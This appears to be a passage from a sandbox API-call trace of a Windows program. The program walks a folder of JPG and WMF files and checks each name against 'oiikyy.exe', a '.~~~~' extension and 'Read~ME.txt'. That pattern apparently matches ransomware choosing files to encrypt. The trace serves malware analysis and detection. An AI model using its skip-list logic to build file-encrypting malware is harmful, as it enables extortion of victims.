	[0085.406] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1
	[0085.406] lstrcmpiW (lpString1="J0227558.JPG", lpString2="Windows") returned -1
	[0085.406] lstrcmpW (lpString1="J0227558.JPG", lpString2="oiikyy.exe") returned -1
	[0085.406] StrStrW (lpFirst="J0227558.JPG", lpSrch=".~~~~") returned 0x0
	[0085.406] lstrcmpW (lpString1="J0227558.JPG", lpString2="Read~ME.txt") returned -1
	[0085.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.406] GetCurrentThreadId () returned 0x618
	[0085.406] RtlWakeConditionVariable () returned 0x365f48
	[0085.406] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1
	[0085.406] lstrcmpiW (lpString1="J0228823.WMF", lpString2="Windows") returned -1
	[0085.406] lstrcmpW (lpString1="J0228823.WMF", lpString2="oiikyy.exe") returned -1
	[0085.406] StrStrW (lpFirst="J0228823.WMF", lpSrch=".~~~~") returned 0x0
	[0085.406] lstrcmpW (lpString1="J0228823.WMF", lpString2="Read~ME.txt") returned -1
	[0085.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.406] GetCurrentThreadId () returned 0x618
	[0085.406] RtlWakeConditionVariable () returned 0x365f48
	[0085.406] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1
	[0085.406] lstrcmpiW (lpString1="J0228959.WMF", lpString2="Windows") returned -1
	[0085.406] lstrcmpW (lpString1="J0228959.WMF", lpString2="oiikyy.exe") returned -1
	[0085.406] StrStrW (lpFirst="J0228959.WMF", lpSrch=".~~~~") returned 0x0
	[0085.406] lstrcmpW (lpString1="J0228959.WMF", lpString2="Read~ME.txt") returned -1
	[0085.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.407] GetCurrentThreadId () returned 0x618
	[0085.407] RtlWakeConditionVariable () returned 0x365f48
	[0085.407] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1
	[0085.407] lstrcmpiW (lpString1="J0230553.WMF", lpString2="Windows") returned -1
	[0085.407] lstrcmpW (lpString1="J0230553.WMF", lpString2="oiikyy.exe") returned -1
	[0085.407] StrStrW (lpFirst="J0230553.WMF", lpSrch=".~~~~") returned 0x0
	[0085.407] lstrcmpW (lpString1="J0230553.WMF", lpString2="Read~ME.txt") returned -1
	[0085.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.407] GetCurrentThreadId () returned 0x618
	[0085.407] RtlWakeConditionVariable () returned 0x365f48
	[0085.407] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1
	[0085.407] lstrcmpiW (lpString1="J0230558.WMF", lpString2="Windows") returned -1
	[0085.407] lstrcmpW (lpString1="J0230558.WMF", lpString2="oiikyy.exe") returned -1
	[0085.407] StrStrW (lpFirst="J0230558.WMF", lpSrch=".~~~~") returned 0x0
	[0085.407] lstrcmpW (lpString1="J0230558.WMF", lpString2="Read~ME.txt") returned -1
	[0085.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.407] GetCurrentThreadId () returned 0x618
	[0085.407] RtlWakeConditionVariable () returned 0x365f48
	[0085.407] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1
	[0085.407] lstrcmpiW (lpString1="J0232171.WMF", lpString2="Windows") returned -1
	[0085.407] lstrcmpW (lpString1="J0232171.WMF", lpString2="oiikyy.exe") returned -1
	[0085.407] StrStrW (lpFirst="J0232171.WMF", lpSrch=".~~~~") returned 0x0
	[0085.407] lstrcmpW (lpString1="J0232171.WMF", lpString2="Read~ME.txt") returned -1
	[0085.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.408] GetCurrentThreadId () returned 0x618
	[0085.408] RtlWakeConditionVariable () returned 0x365f48
	[0085.408] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1
	[0085.408] lstrcmpiW (lpString1="J0232393.WMF", lpString2="Windows") returned -1
	[0085.408] lstrcmpW (lpString1="J0232393.WMF", lpString2="oiikyy.exe") returned -1
	[0085.408] StrStrW (lpFirst="J0232393.WMF", lpSrch=".~~~~") returned 0x0
	[0085.408] lstrcmpW (lpString1="J0232393.WMF", lpString2="Read~ME.txt") returned -1
	[0085.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.408] GetCurrentThreadId () returned 0x618
	[0085.408] RtlWakeConditionVariable () returned 0x365f48
	[0085.408] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1
	[0085.408] lstrcmpiW (lpString1="J0232395.WMF", lpString2="Windows") returned -1
	[0085.408] lstrcmpW (lpString1="J0232395.WMF", lpString2="oiikyy.exe") returned -1
	[0085.408] StrStrW (lpFirst="J0232395.WMF", lpSrch=".~~~~") returned 0x0
	[0085.408] lstrcmpW (lpString1="J0232395.WMF", lpString2="Read~ME.txt") returned -1
	[0085.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.408] GetCurrentThreadId () returned 0x618
	[0085.408] RtlWakeConditionVariable () returned 0x365f48
	[0085.408] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1
	[0085.408] lstrcmpiW (lpString1="J0232795.WMF", lpString2="Windows") returned -1
	[0085.408] lstrcmpW (lpString1="J0232795.WMF", lpString2="oiikyy.exe") returned -1
	[0085.408] StrStrW (lpFirst="J0232795.WMF", lpSrch=".~~~~") returned 0x0
	[0085.408] lstrcmpW (lpString1="J0232795.WMF", lpString2="Read~ME.txt") returned -1
	[0085.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.409] GetCurrentThreadId () returned 0x618
	[0085.409] RtlWakeConditionVariable () returned 0x365f48
	[0085.409] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1
	[0085.409] lstrcmpiW (lpString1="J0232797.WMF", lpString2="Windows") returned -1
	[0085.409] lstrcmpW (lpString1="J0232797.WMF", lpString2="oiikyy.exe") returned -1
	[0085.409] StrStrW (lpFirst="J0232797.WMF", lpSrch=".~~~~") returned 0x0
	[0085.409] lstrcmpW (lpString1="J0232797.WMF", lpString2="Read~ME.txt") returned -1
	[0085.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.409] GetCurrentThreadId () returned 0x618
	[0085.409] RtlWakeConditionVariable () returned 0x365f48
	[0085.409] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1
	[0085.532] lstrcmpiW (lpString1="J0232803.WMF", lpString2="Windows") returned -1
	[0085.532] lstrcmpW (lpString1="J0232803.WMF", lpString2="oiikyy.exe") returned -1
	[0085.532] StrStrW (lpFirst="J0232803.WMF", lpSrch=".~~~~") returned 0x0
	[0085.532] lstrcmpW (lpString1="J0232803.WMF", lpString2="Read~ME.txt") returned -1
	[0085.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.533] GetCurrentThreadId () returned 0x618
	[0085.533] RtlWakeConditionVariable () returned 0x365f48
	[0085.533] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1
	[0085.533] lstrcmpiW (lpString1="J0233512.WMF", lpString2="Windows") returned -1
	[0085.533] lstrcmpW (lpString1="J0233512.WMF", lpString2="oiikyy.exe") returned -1
	[0085.533] StrStrW (lpFirst="J0233512.WMF", lpSrch=".~~~~") returned 0x0
	[0085.533] lstrcmpW (lpString1="J0233512.WMF", lpString2="Read~ME.txt") returned -1
	[0085.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.533] GetCurrentThreadId () returned 0x618
	[0085.533] RtlWakeConditionVariable () returned 0x365f48
	[0085.533] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1
	[0085.533] lstrcmpiW (lpString1="J0233665.WMF", lpString2="Windows") returned -1
	[0085.533] lstrcmpW (lpString1="J0233665.WMF", lpString2="oiikyy.exe") returned -1
	[0085.533] StrStrW (lpFirst="J0233665.WMF", lpSrch=".~~~~") returned 0x0
	[0085.533] lstrcmpW (lpString1="J0233665.WMF", lpString2="Read~ME.txt") returned -1
	[0085.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.533] GetCurrentThreadId () returned 0x618
	[0085.533] RtlWakeConditionVariable () returned 0x365f48
	[0085.533] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1
	[0085.533] lstrcmpiW (lpString1="J0233992.WMF", lpString2="Windows") returned -1
	[0085.533] lstrcmpW (lpString1="J0233992.WMF", lpString2="oiikyy.exe") returned -1
	[0085.533] StrStrW (lpFirst="J0233992.WMF", lpSrch=".~~~~") returned 0x0
	[0085.533] lstrcmpW (lpString1="J0233992.WMF", lpString2="Read~ME.txt") returned -1
	[0085.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.534] GetCurrentThreadId () returned 0x618
	[0085.534] RtlWakeConditionVariable () returned 0x365f48
	[0085.534] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1
	[0085.534] lstrcmpiW (lpString1="J0234000.WMF", lpString2="Windows") returned -1
	[0085.534] lstrcmpW (lpString1="J0234000.WMF", lpString2="oiikyy.exe") returned -1
	[0085.534] StrStrW (lpFirst="J0234000.WMF", lpSrch=".~~~~") returned 0x0
	[0085.534] lstrcmpW (lpString1="J0234000.WMF", lpString2="Read~ME.txt") returned -1
	[0085.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.534] GetCurrentThreadId () returned 0x618
	[0085.534] RtlWakeConditionVariable () returned 0x365f48
	[0085.534] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1
	[0085.534] lstrcmpiW (lpString1="J0234001.WMF", lpString2="Windows") returned -1
	[0085.534] lstrcmpW (lpString1="J0234001.WMF", lpString2="oiikyy.exe") returned -1
	[0085.534] StrStrW (lpFirst="J0234001.WMF", lpSrch=".~~~~") returned 0x0
	[0085.534] lstrcmpW (lpString1="J0234001.WMF", lpString2="Read~ME.txt") returned -1
	[0085.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.534] GetCurrentThreadId () returned 0x618
	[0085.534] RtlWakeConditionVariable () returned 0x365f48
	[0085.534] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1
	[0085.534] lstrcmpiW (lpString1="J0234376.WMF", lpString2="Windows") returned -1
	[0085.534] lstrcmpW (lpString1="J0234376.WMF", lpString2="oiikyy.exe") returned -1
	[0085.534] StrStrW (lpFirst="J0234376.WMF", lpSrch=".~~~~") returned 0x0
	[0085.534] lstrcmpW (lpString1="J0234376.WMF", lpString2="Read~ME.txt") returned -1
	[0085.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.535] GetCurrentThreadId () returned 0x618
	[0085.535] RtlWakeConditionVariable () returned 0x365f48
	[0085.535] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1
	[0085.535] lstrcmpiW (lpString1="J0237225.WMF", lpString2="Windows") returned -1
	[0085.535] lstrcmpW (lpString1="J0237225.WMF", lpString2="oiikyy.exe") returned -1
	[0085.535] StrStrW (lpFirst="J0237225.WMF", lpSrch=".~~~~") returned 0x0
	[0085.535] lstrcmpW (lpString1="J0237225.WMF", lpString2="Read~ME.txt") returned -1
	[0085.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.535] GetCurrentThreadId () returned 0x618
	[0085.535] RtlWakeConditionVariable () returned 0x365f48
	[0085.535] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1
	[0085.535] lstrcmpiW (lpString1="J0237228.WMF", lpString2="Windows") returned -1
	[0085.535] lstrcmpW (lpString1="J0237228.WMF", lpString2="oiikyy.exe") returned -1
	[0085.535] StrStrW (lpFirst="J0237228.WMF", lpSrch=".~~~~") returned 0x0
	[0085.535] lstrcmpW (lpString1="J0237228.WMF", lpString2="Read~ME.txt") returned -1
	[0085.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.535] GetCurrentThreadId () returned 0x618
	[0085.535] RtlWakeConditionVariable () returned 0x365f48
	[0085.535] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1
	[0085.535] lstrcmpiW (lpString1="J0237336.WMF", lpString2="Windows") returned -1
	[0085.535] lstrcmpW (lpString1="J0237336.WMF", lpString2="oiikyy.exe") returned -1
	[0085.535] StrStrW (lpFirst="J0237336.WMF", lpSrch=".~~~~") returned 0x0
	[0085.535] lstrcmpW (lpString1="J0237336.WMF", lpString2="Read~ME.txt") returned -1
	[0085.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.535] GetCurrentThreadId () returned 0x618
	[0085.536] RtlWakeConditionVariable () returned 0x365f48
	[0085.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1
	[0085.536] lstrcmpiW (lpString1="J0237759.WMF", lpString2="Windows") returned -1
	[0085.536] lstrcmpW (lpString1="J0237759.WMF", lpString2="oiikyy.exe") returned -1
	[0085.536] StrStrW (lpFirst="J0237759.WMF", lpSrch=".~~~~") returned 0x0
	[0085.536] lstrcmpW (lpString1="J0237759.WMF", lpString2="Read~ME.txt") returned -1
	[0085.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.536] GetCurrentThreadId () returned 0x618
	[0085.536] RtlWakeConditionVariable () returned 0x365f48
	[0085.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1
	[0085.536] lstrcmpiW (lpString1="J0238333.WMF", lpString2="Windows") returned -1
	[0085.536] lstrcmpW (lpString1="J0238333.WMF", lpString2="oiikyy.exe") returned -1
	[0085.536] StrStrW (lpFirst="J0238333.WMF", lpSrch=".~~~~") returned 0x0
	[0085.536] lstrcmpW (lpString1="J0238333.WMF", lpString2="Read~ME.txt") returned -1
	[0085.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.536] GetCurrentThreadId () returned 0x618
	[0085.536] RtlWakeConditionVariable () returned 0x365f48
	[0085.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1
	[0085.536] lstrcmpiW (lpString1="J0238927.WMF", lpString2="Windows") returned -1
	[0085.536] lstrcmpW (lpString1="J0238927.WMF", lpString2="oiikyy.exe") returned -1
	[0085.536] StrStrW (lpFirst="J0238927.WMF", lpSrch=".~~~~") returned 0x0
	[0085.536] lstrcmpW (lpString1="J0238927.WMF", lpString2="Read~ME.txt") returned -1
	[0085.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.536] GetCurrentThreadId () returned 0x618
	[0085.536] RtlWakeConditionVariable () returned 0x365f48
	[0085.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1
	[0085.536] lstrcmpiW (lpString1="J0238959.WMF", lpString2="Windows") returned -1
	[0085.536] lstrcmpW (lpString1="J0238959.WMF", lpString2="oiikyy.exe") returned -1
	[0085.536] StrStrW (lpFirst="J0238959.WMF", lpSrch=".~~~~") returned 0x0
	[0085.537] lstrcmpW (lpString1="J0238959.WMF", lpString2="Read~ME.txt") returned -1
	[0085.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.537] GetCurrentThreadId () returned 0x618
	[0085.537] RtlWakeConditionVariable () returned 0x365f48
	[0085.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1
	[0085.537] lstrcmpiW (lpString1="J0238983.WMF", lpString2="Windows") returned -1
	[0085.537] lstrcmpW (lpString1="J0238983.WMF", lpString2="oiikyy.exe") returned -1
